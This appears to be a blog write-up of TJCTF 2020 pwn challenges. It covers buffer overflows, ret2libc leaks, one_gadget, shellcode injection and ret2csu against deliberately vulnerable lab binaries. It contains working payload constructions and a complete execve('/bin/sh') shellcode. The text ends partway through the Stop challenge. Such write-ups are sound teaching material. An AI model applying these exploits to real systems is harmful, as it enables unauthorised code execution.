TJCTF 2020 Pwn writeup

22 minute read

This is a quick walkthrough of my solutions for TJCTF 2020 pwn challenges. I will just elaborate some of the tricks that I learned while solving these challenges.

Board wipe >:)

Tinder (25 points)

Challenge: Buffer overflow + control the value of $ebp-0xc

This challenge gives a binary that accepts four user inputs.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/tinder# ./tinder
Welcome to TJTinder, please register to start matching!
Name: 1   
Username: 2
Password: 3
Tinder Bio: 4

Registered '2' to TJTinder successfully!
Searching for matches...
Sorry, no matches found. Try Again!

A quick checksec reveals that the binary can be stack smashed.

gef➤  checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/tinder/tinder'
Canary                        : No <----- No canary check
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

Disassembling the binary shows that we need to control $ebp-0xc to print the flag.

gef➤  disas main
Dump of assembler code for function main:
------------ redacted -------------------------
   0x0804884d <+96>:	call   0x8048720 <input> <---- input #1
------------ redacted -------------------------
   0x08048877 <+138>:	call   0x8048720 <input> <---- input #2
------------ redacted -------------------------
   0x080488a1 <+180>:	call   0x8048720 <input> <---- input #3
------------ redacted -------------------------
   0x080488cf <+226>:	call   0x8048720 <input> <---- input #4 (overflow to control $ebp-0xc
------------ redacted -------------------------
   0x080488e4 <+247>:	cmp    DWORD PTR [ebp-0xc],0xc0d3d00d <---- $ebp must be 0xc0d3d00d
   0x080488eb <+254>:	jne    0x80489a8 <main+443>  <---- will jump to exit when $ebp-0xc is not 0xc0d3d00d
------------ redacted -------------------------
   0x08048949 <+348>:	call   0x8048570 <[email protected]> <---- Will proceed to these fopen('flag.txt') + puts(flag str pointer)
   0x0804894e <+353>:	add    esp,0x10
   0x08048951 <+356>:	mov    DWORD PTR [ebp-0x10],eax
   0x08048954 <+359>:	cmp    DWORD PTR [ebp-0x10],0x0
   0x08048958 <+363>:	jne    0x8048976 <main+393>
   0x0804895a <+365>:	sub    esp,0xc
   0x0804895d <+368>:	lea    eax,[ebx-0x1494]
   0x08048963 <+374>:	push   eax
   0x08048964 <+375>kkk:	call   0x8048520 <puts`@plt> <---- prints the flag
   0x08048969 <+380>:	add    esp,0x10
   0x0804896c <+383>:	sub    esp,0xc
   0x0804896f <+386>:	push   0x0
   0x08048971 <+388>:	call   0x8048530 <[email protected]> <---- terminates the program
------------ redacted -------------------------
   0x080489a8 <+443>:	sub    esp,0x8 <---- jump when $ebp-0xc is not equal to 0xc0d3d00d, will go to exit
------------ redacted -------------------------
End of assembler dump.
gef➤ 

We need to set $ebp-0xc to 0xc0d3d00d to make the binary read and print the contents of flag.txt.

We can get the distance of where input 4 would be written and $ebp-0xc by doing the following steps:

(1) set a breakpoint on input #4 (0x80488cf)

gef➤  b *0x080488cf
Breakpoint 4 at 0x80488cf: file match.c, line 54.

(2) get the address of the first argument for input()

 →  0x80488cf <main+226>       call   0x8048720 <input>
   ↳   0x8048720 <input+0>        push   ebp
       0x8048721 <input+1>        mov    ebp, esp
       0x8048723 <input+3>        push   ebx
       0x8048724 <input+4>        sub    esp, 0x14
       0x8048727 <input+7>        call   0x8048610 <__x86.get_pc_thunk.bx>
       0x804872c <input+12>       add    ebx, 0x18d4
input (
   DWORD var_0 = 0xffffd008 → 0xf7ffd940 → 0x00000000,
   float var_1 = 0x41000000
)
gef➤  

The address is 0xffffd008.

(3) set a breakpoint on cmp (0x80488e4)

gef➤  b *0x80488e4
Breakpoint 5 at 0x80488e4: file match.c, line 58.

(4) get the difference of $ebp-0xc and the address from (2)

gef➤  p $ebp-0xc - 0xffffd008
$2 = (void *) 0x74

The difference is 0x74 or 116.

The payload for 4th input will now look like this:

payload = <padding length 116> + 0xc0d3d00d

Sending this payload will give us the flag.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/tinder# python exploit.py 
[+] Starting local process './tinder': pid 50267
[*] Switching to interactive mode
 
Registered 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���' to TJTinder successfully!
Searching for matches...
It's a match!
Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}

Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/tinder/exploit.py

Seashells (50 points)

Challenge: Buffer overflow + ret2libc leak + rop-chain one_gadget

A quick check shows that the given binary is also vulnerable to buffer overflow, but it is not possible to inject a shellcode since the NX bit is set.

gef➤  checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/seashells/seashells'
Canary                        : No <---- stack smashable
NX                            : Yes <---- can't inject shellcode
PIE                           : No
Fortify                       : No
RelRO                         : Full

The binary asks for a user input. A quick fuzz gives us the offset we need to control the instruction pointer.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/seashells# pattern 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[email protected]:~/Documents/CTFs/2020/tjctf/pwn/seashells# gdb seashells -q
gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/seashells/seashells 
Welcome to Sally's Seashore Shell Shop
Would you like a shell?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
why are you even here?

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400796 in main ()
------------ redacted -------------------------
gef➤  x/xg $rsp
0x7fffffffdef8:	0x6141376141366141
[email protected]:~/Documents/CTFs/2020/tjctf/pwn/seashells# pattern 0x6141376141366141
Pattern 0x6141376141366141 first occurrence at position 18 in pattern.

We need a padding of 18 bytes to control the program.

payload = <18 bytes padding> + <instruction pointer control>

Upon checking, there is a function that gives us a shell.

gef➤  disas shell 
Dump of assembler code for function shell:
   0x00000000004006c7 <+0>:	push   rbp
   0x00000000004006c8 <+1>:	mov    rbp,rsp
   0x00000000004006cb <+4>:	sub    rsp,0x10
   0x00000000004006cf <+8>:	mov    QWORD PTR [rbp-0x8],rdi
   0x00000000004006d3 <+12>:	movabs rax,0xdeadcafebabebeef
   0x00000000004006dd <+22>:	cmp    QWORD PTR [rbp-0x8],rax
   0x00000000004006e1 <+26>:	jne    0x4006ef <shell+40>
   0x00000000004006e3 <+28>:	lea    rdi,[rip+0x13e]        # 0x400828
   0x00000000004006ea <+35>:	call   0x4005c0 <[email protected]>
   0x00000000004006ef <+40>:	nop
   0x00000000004006f0 <+41>:	leave  
   0x00000000004006f1 <+42>:	ret

This function executes system('/bin/sh') if 0xdeadcafebabebeef is passed as an argument to shell(). Unfortunately, it seems that there is an issue with system()* which is why we cannot use this function.

  • Note: system function might be broken on the libc used by the remote binary.

An alternative solution is by using ret2libc attack to leak a libc address to determine the libc version used, and use one_gadget or execve() to spawn a shell.

To leak a libc address from the remote binary, we can print any GOT address (this address points to a libc address). Our stage 1 payload should look like this.

payload = ""
payload += "A"*18 # padding
payload += p64(pop_rdi) # control first argument
payload += p64(puts_got) # GOT address of puts (to leak printf libc address)
payload += p64(puts_plt) # will execute puts(&printf_got)
payload += p64(main_plt) # jump back to main (for stage 2 payload)

Executing this payload will look like this (This is just an example, was not able to do a writeup when the remote servers are still up :( ).

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/seashells# python exploit.py 
[+] Starting local process './seashells': pid 52173
[*] puts leak: 0x7ffff7e585d0

The address can be used to determine the libc version used by the remote server. LIBC Database can be used to get the version of the libc.

Once the LIBC base and other libc function addresses are determined, we can now create our stage 2 payload.

libc_base = puts_leak - puts_offset

payload = ""
payload += "A"*18 # padding
payload += p64(libc_base + one_gadget_offset)# one_gadget 

I used one_gadget to execute a shell.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/seashells# one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ) <---- this offset worked
constraints:
  [rsp+0x70] == NULL

Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/seashells/exploit.py

OSRS (50 points)

Challenge: Buffer overflow + jump to shellcode

A quick check shows that the given binary is also vulnerable to buffer overflow, and it is possible to inject a shellcode since the NX bit is not set.

gef➤  checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : No

The binary asks for one input, and prints a string before it terminates the program.

gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs 
Enter a tree type: 
test
I don't have the tree -12436 :(

Upon inspection, the main function only calls one function - get_tree(), and terminates the program if the returned value of get_tree() is less than or equal to zero.

gef➤  disas main
Dump of assembler code for function main:
------------ redacted -------------------------
   0x08048612 <+74>:	call   0x8048546 <get_tree> <--- get_tree()
   0x08048617 <+79>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861a <+82>:	cmp    DWORD PTR [ebp-0xc],0x0 <--- checks if get_tree returns >0
   0x0804861e <+86>:	jle    0x8048636 <main+110> <--- jumps to the end of the program if get_tree() <= 0
------------ redacted -------------------------
   0x08048636 <+110>:	mov    eax,0x0
   0x0804863b <+115>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x0804863e <+118>:	leave  
   0x0804863f <+119>:	lea    esp,[ecx-0x4]
   0x08048642 <+122>:	ret  

Let’s inspect the get_tree function.

gef➤  disas get_tree
Dump of assembler code for function get_tree:
------------ redacted -------------------------
   0x08048557 <+17>:	call   0x80483f0 <[email protected]> <--- prints the first banner
------------ redacted -------------------------
   0x08048569 <+35>:	call   0x80483e0 <[email protected]> <--- asks for user input (vulnerable to buffer overflow)
------------ redacted -------------------------
   0x0804858f <+73>:	call   0x8048410 <[email protected]> <--- checks if the input is equal to an expected string
------------ redacted -------------------------
   0x080485a8 <+98>:	jle    0x804857a <get_tree+52> <--- jumps back to get_tree+52 to do aonther comparison (until the list of strings are exhausted)
------------ redacted -------------------------
   0x080485b9 <+115>:	call   0x80483d0 <[email protected]> <--- prints the last bannner with negative number
------------ redacted -------------------------

Upon inpsecting the printf call, it seems that the negative number is the location of our input string.

 →  0x80485b9 <get_tree+115>   call   0x80483d0 <[email protected]>
   ↳   0x80483d0 <[email protected]+0>   jmp    DWORD PTR ds:0x8049e78
       0x80483d6 <[email protected]+6>   push   0x8
       0x80483db <[email protected]+11>  jmp    0x80483b0
       0x80483e0 <[email protected]+0>     jmp    DWORD PTR ds:0x8049e7c
       0x80483e6 <[email protected]+6>     push   0x10
       0x80483eb <[email protected]+11>    jmp    0x80483b0
[email protected] (
   [sp + 0x0] = 0x08048bfc → "I don't have the tree %d :(",
   [sp + 0x4] = 0xffffcf6c → "test", 
   [sp + 0x8] = 0xf7fce410 → 0x080482df → "GLIBC_2.0",
   [sp + 0xc] = 0x00000001,
   [sp + 0x10] = 0x00000000
)

The function asks for a user input, and the input is being checked if it matches one of the strings in the list. The program prints another string that leaks the location of our input.

Since the NX bit is not set, a shellcode can be executed in this binary. We can inject a shellcode and jump to its location using the leak. But before doing this, we need to jump back to get_tree since the program terminates after the leak.

Let’s get the offset to control the instruction pointer.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/osrs# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs 
Enter a tree type: 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
I don't have the tree -12436 :(

Program received signal SIGSEGV, Segmentation fault.
0x316a4130 in ?? ()

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/osrs# pattern 0x316a4130
Pattern 0x316a4130 first occurrence at position 272 in pattern.

The offset is 272. Let’s now create our exploit.

Our payload should look like this.

# control instruction pointer 
payload = ""
payload += "A"*272 #offset
payload += p32(0x8048546) # jump back to get_tree

# get the leak from the first run

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

# stage 2 payload
payload = ""
payload += shellcode
payload += "\x90" * (272-len(shellcode))
payload += p32(leak)

Executing the payload will look like this.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/osrs# python test.py 
[+] Starting local process './osrs': pid 5228
[*] Leaked address: 0xfff7994c
[*] Switching to interactive mode
 
I don't have the tree -550576 :(
$ ls
exploit.py  flag.txt  osrs  test.py
$ cat flag.txt
tjctf{tr33_c0de_in_my_she115}

Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/osrs/exploit.py

El Primo (60 points)

Challenge: Buffer overflow + jump to shellcode pointer

A quick check shows that the given binary is also vulnerable to buffer overflow, and it is possible to inject a shellcode since the NX bit is not set.

gef➤  checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo'
Canary                        : No
NX                            : No
PIE                           : Yes
Fortify                       : No
RelRO                         : Full

The binary leaks an address, and terminates after receiving an input.

gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo 
What's my hard counter?
hint: 0xffffd060
test
[Inferior 1 (process 5455) exited normally]

Upon inspection, the leaked address is the location of our input string.

gef➤  disas main
Dump of assembler code for function main:
------------ redacted -------------------------
   0x56555681 <+116>:	lea    eax,[ebp-0x28] <--- leaked address
   0x56555684 <+119>:	push   eax
   0x56555685 <+120>:	lea    eax,[ebx-0x1868]
   0x5655568b <+126>:	push   eax
   0x5655568c <+127>:	call   0x56555480 <[email protected]>
   0x56555691 <+132>:	add    esp,0x10
   0x56555694 <+135>:	sub    esp,0xc
   0x56555697 <+138>:	lea    eax,[ebp-0x28] <--- same address used by the gets function
   0x5655569a <+141>:	push   eax
   0x5655569b <+142>:	call   0x56555490 <[email protected]>
   0x565556a0 <+147>:	add    esp,0x10
   0x565556a3 <+150>:	mov    eax,0x0
   0x565556a8 <+155>:	lea    esp,[ebp-0x8]
   0x565556ab <+158>:	pop    ecx
   0x565556ac <+159>:	pop    ebx
   0x565556ad <+160>:	pop    ebp
   0x565556ae <+161>:	lea    esp,[ecx-0x4]
   0x565556b1 <+164>:	ret    
End of assembler dump.
gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo 
What's my hard counter?
hint: 0xffffd060
test

Breakpoint 1, 0x565556a0 in main ()
gef➤  x/xs 0xffffd060
0xffffd060:	"test"

We can use the same technique by injecting a shellcode and jumping to its location.

Let’s now create our payload. First, let’s get the offset to control the instruction pointer.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/el_primo# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo 
What's my hard counter?
hint: 0xffffd060
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Program received signal SIGSEGV, Segmentation fault.
0x565556b1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x41326241 ("Ab2A"?)
$ecx   : 0x31624130 ("0Ab1"?)
$edx   : 0xffffd254  →  0x00000000
$esp   : 0x3162412c (",Ab1"?)
$ebp   : 0x62413362 ("b3Ab"?)
$esi   : 0xf7fa2000  →  0x001dfd6c
$edi   : 0xf7fa2000  →  0x001dfd6c
$eip   : 0x565556b1  →  <main+164> ret 
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0x565556a7 <main+154>       add    BYTE PTR [ebp+0x5b59f865], cl
   0x565556ad <main+160>       pop    ebp
   0x565556ae <main+161>       lea    esp, [ecx-0x4]
   0x565556b1 <main+164>:      ret

This is a bit different, the contents where ecx-0x4 points (due to lea - load effective) is written to esp (not the value of ecx itself) and the program jumps to esp after executing ret instruction.

Our input is written to ecx, so in order to jump to the leaked address, we need to add 0x4 to ecx to align the address, and the leaked address should contain the pointer to our shellcode.

The offset is to control the instruction pointer is 32.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/el_primo# pattern 0x31624130
Pattern 0x31624130 first occurrence at position 32 in pattern.

Our payload should look like this.

payload = ""
payload += p32(leak + 0x4) # point to our shellcode, +4 bytes from the leak
payload += shellcode
payload += "\x90" * (32 - len(payload)) # padding to control IP
payload += p32(leak+4) # leak + 0x4 due to ecx-0x4

Executing the payload will look like this.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/el_primo# python test.py 
[+] Starting local process './el_primo': pid 5823
[*] Leaked stack: 0xffe46da0
[*] Switching to interactive mode
$ ls
core  el_primo    exploit.py  flag.txt  test.py
$ cat flag.txt
tjctf{3L_PR1M0O0OOO!1!!}

Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/el_primo/exploit.py

Stop (70 points)

Challenge: Buffer overflow + ret2csu (control rdx) + set rax trick (used read syscall) + execve syscall

Again, this challenge is vulnerable to buffer overflow, but it is not possible to inject a shellcode since the NX bit is set.

gef➤  checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/stop/stop'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Full

The binary asks for two user inputs.

gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/stop/stop 
Which letter? a

Country Capitals
Electronics and Gadgets
Sports
Things You Keep Hidden
Top Broadway Shows

Category? test

Sorry, we don't have that category yet

A quick fuzz shows us the offset to control the instruction pointer.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/stop# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/stop/stop 
Which letter? Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Country Capitals
Electronics and Gadgets
Sports
Things You Keep Hidden
Top Broadway Shows

Category? 
Sorry, we don't have that category yet

Program received signal SIGSEGV, Segmentation fault.
0x00000000004008d1 in main ()
gef➤  x/xg $rsp
0x7fffffffdee8:	0x6a41356a41346a41
[email protected]:~/Documents/CTFs/2020/tjctf/pwn/stop# pattern 0x6a41356a41346a41
Pattern 0x6a41356a41346a41 first occurrence at position 282 in pattern.

We can control the instruction pointer by sending a payload with a length of 282.

Upon inpsection, we cannnot use any built-in function to do a ret2libc attack.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000400558  _init
0x0000000000400580  [email protected]
0x0000000000400590  [email protected]
0x00000000004005a0  [email protected]
0x00000000004005b0  [email protected]
0x00000000004005c0  _start
0x00000000004005f0  _dl_relocate_static_pie
0x0000000000400600  deregister_tm_clones
0x0000000000400630  register_tm_clones
0x0000000000400670  __do_global_dtors_aux
0x00000000004006a0  frame_dummy
0x00000000004006a7  get_letter
0x00000000004006e6  get_category
0x000000000040073c  main
0x00000000004008e0  read
0x00000000004008f0  __libc_csu_init
0x0000000000400960  __libc_csu_fini
0x0000000000400964  _fini

We can check some useful gadgets using ROPgadget.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/stop# ROPgadget --binary stop | grep -E "syscall|pop rdi|pop rsi|pop rax|pop rdx"
0x00000000004008e1 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004008e3 : add byte ptr [rax], al ; syscall
0x00000000004008df : add byte ptr [rax], bh ; syscall
0x00000000004008de : add byte ptr [rax], dil ; syscall
0x00000000004008e0 : mov eax, 0 ; syscall
0x00000000004008dc : nop dword ptr [rax] ; mov eax, 0 ; syscall
0x0000000000400953 : pop rdi ; ret
0x0000000000400951 : pop rsi ; pop r15 ; ret
0x00000000004008e5 : syscall

We can call execve(‘/bin/sh’) by using syscall. We also need the string /bin/sh.

Luckily, we can find the string inside the binary.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/stop# r2 -c iz -q stop | grep /bin/sh
012 0x00000a1a 0x00400a1a   7   8 (.rodata) ascii /bin/sh

To call execve using syscall, we need to setup the registers as follows:

$rax = 0x3b
$rdi = address of /bin/sh
$rsi = 0
$rdx = 0

Our main challenge here is that we do not have any gadgets for controlling rax and rdx.

To control rax, we can use the read built-in function (0x00000000004008e0 read).

From the man page.

RETURN VALUE
       On success, the number of bytes read is returned (zero indicates end of file), and the file position is advanced by this number.

Our next problem is to setup the value of rdx, since we need to set the registers to execute read(fd,address,length) and overwrite rax with 0x3b.

We can use https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf technique to control the rdx.

TL;DR, we can use the built-in function __libc_csu_init to control the value of rdx by setting the value of r15.

gef➤  disas __libc_csu_init 
Dump of assembler code for function __libc_csu_init:
   0x00000000004008f0 <+0>:	push   r15
   0x00000000004008f2 <+2>:	push   r14
   0x00000000004008f4 <+4>:	mov    r15,rdx
   0x00000000004008f7 <+7>:	push   r13
   0x00000000004008f9 <+9>:	push   r12
   0x00000000004008fb <+11>:	lea    r12,[rip+0x2014b6]        # 0x601db8
   0x0000000000400902 <+18>:	push   rbp
   0x0000000000400903 <+19>:	lea    rbp,[rip+0x2014b6]        # 0x601dc0
   0x000000000040090a <+26>:	push   rbx
   0x000000000040090b <+27>:	mov    r13d,edi
   0x000000000040090e <+30>:	mov    r14,rsi
   0x0000000000400911 <+33>:	sub    rbp,r12
   0x0000000000400914 <+36>:	sub    rsp,0x8
   0x0000000000400918 <+40>:	sar    rbp,0x3
   0x000000000040091c <+44>:	call   0x400558 <_init>
   0x0000000000400921 <+49>:	test   rbp,rbp
   0x0000000000400924 <+52>:	je     0x400946 <__libc_csu_init+86>
